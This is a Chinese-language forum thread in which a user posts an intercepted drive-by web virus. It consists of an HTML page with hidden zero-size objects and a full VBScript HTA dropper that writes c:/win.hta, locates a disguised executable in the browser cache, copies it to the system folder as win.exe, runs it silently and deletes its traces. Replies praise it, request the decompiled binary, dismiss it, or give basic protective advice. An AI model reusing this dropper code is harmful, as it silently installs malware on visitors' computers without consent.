我截获的一个网页病毒。我打上了win2000所有的补丁,还进来了。(100分)

  • 主题发起人 主题发起人 lt66
  • 开始时间 开始时间
L

lt66

Unregistered / Unconfirmed
GUEST, unregistred user!
主页中 包含一个指向 mm[1].htm
mm[1].htm内容:
<html>
<body>
<object data="lhxyexe.asp" weight=0 width= 0></object>
<object data="lhxyhta.asp" weight=0 width= 0></object>
</body>
</html>
其中
lhxyexe.asp=lhxyexe.asp.gif 病毒的exe文件已经upx压缩。
lhxyhta.asp是一个脚本文件
<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>
<HTA:APPLICATION caption="no" border="none" windowState="minimize" >
<script LaNGUAGE="VBScript">
Set g_fs = CreateObject("Scripting.FileSystemObject")
Set tf = g_fs.CreateTextFile("c:/win.hta",true)
tf.write "<HTA:APPLICATION caption=" &amp;
CHR(34)&amp;
"no" &amp;
CHR(34)&amp;
" border=" &amp;
CHR(34)&amp;
"none" &amp;
CHR(34)&amp;
" showintaskbar=" &amp;
CHR(34)&amp;
"no" &amp;
CHR(34)&amp;
" >" &amp;chr(13)&amp;chr(10)
tf.write "<object id='wsh' cl"&amp;
chr(97)&amp;"ssid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>"&amp;chr(13)&amp;chr(10)
tf.write "<" &amp;
"script LANGUAGE=" &amp;
CHR(34)&amp;
"VBScript" &amp;
CHR(34)&amp;
">"&amp;chr(13)&amp;chr(10)
tf.write "on error resume next"&amp;chr(13)&amp;chr(10)
tf.write "window.moveTo 0,0"&amp;chr(13)&amp;chr(10)
tf.write "window.resizeTo 0,0 "&amp;chr(13)&amp;chr(10)
tf.write "dim exepath"&amp;chr(13)&amp;chr(10)
tf.write "Function Search(objFolder) "&amp;chr(13)&amp;chr(10)
tf.write "Dim objSubFolder"&amp;chr(13)&amp;chr(10)
tf.write "For Each objFile in objFolder.Files"&amp;chr(13)&amp;chr(10)
tf.write "If InStr(1, objfile.name, " &amp;
CHR(34)&amp;
"lhxyexe" &amp;
CHR(34)&amp;
", vbtextcompare) then
"&amp;chr(13)&amp;chr(10)
tf.write "set filecp = objg_fso.getfile(objfile.path)"&amp;chr(13)&amp;chr(10)
tf.write "filecp.copy (exepath)"&amp;chr(13)&amp;chr(10)
tf.write "exit for"&amp;chr(13)&amp;chr(10)
tf.write "End If"&amp;chr(13)&amp;chr(10)
tf.write "Next "&amp;chr(13)&amp;chr(10)
tf.write "For Each objSubFolder in objFolder.SubFolders "&amp;chr(13)&amp;chr(10)
tf.write "Search objSubFolder"&amp;chr(13)&amp;chr(10)
tf.write "Next"&amp;chr(13)&amp;chr(10)
tf.write "End Function"&amp;chr(13)&amp;chr(10)
tf.write "Set objg_fso = CreateObject(" &amp;
CHR(34)&amp;
"Scripting.FileSystemObject" &amp;
CHR(34)&amp;
")"&amp;chr(13)&amp;chr(10)
tf.write "str=WSH.regread(" &amp;
CHR(34)&amp;
"HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/Shell Folders/cache" &amp;
CHR(34)&amp;
")"&amp;chr(13)&amp;chr(10)
tf.write "set tempfolder = objg_fso.getfolder(str)"&amp;chr(13)&amp;chr(10)
tf.write "set othisfolder = objg_fso.GetSpecialFolder(1)" &amp;chr(13)&amp;chr(10)
tf.write "exepath=othisfolder.path &amp;
"&amp;
chr(34) &amp;
"win.exe" &amp;
chr(34) &amp;chr(13)&amp;chr(10)
tf.write "search tempfolder"&amp;chr(13)&amp;chr(10)
tf.write "wsh.run (exepath)"&amp;chr(13)&amp;chr(10)
tf.write "wsh.run " &amp;
CHR(34)&amp;
"command.com /c del c:/win.hta" &amp;
CHR(34)&amp;
" ,0"&amp;chr(13)&amp;chr(10)
tf.write "window.close()"&amp;chr(13)&amp;chr(10)
tf.write "<" &amp;chr(47)&amp;
"script>"&amp;chr(13)&amp;chr(10)
tf.close
wsh.run "c:/win.hta",0
window.close ()
</script>
asp的漏洞太大了。
 
有兴趣的可以向我索要 <我反编译的 LHXYEXE.asp.gif> lt66@21cn.com
 
你是好样的!
 
这有什么。disable js/java applet/active x就可以拉。
 
不错 我也要一份。
 
xizhousheng@sina.com
3x
 
垃圾病毒而已,看它的代码也是从EXETOBMP的源代码中借鉴而来的,一点也不新鲜。
见议怕中毒的朋友,用正版的杀毒软件,每周至少升级一次病毒库。不过,这不是万全之策,最重要的是,不要浏览陌生和不知名的网站,以保护自己爱机和数据的安全。
 
我只是感觉他的传染方式不错。
 
不明白,能讲一下原理么?楼主大侠?
 
后退
顶部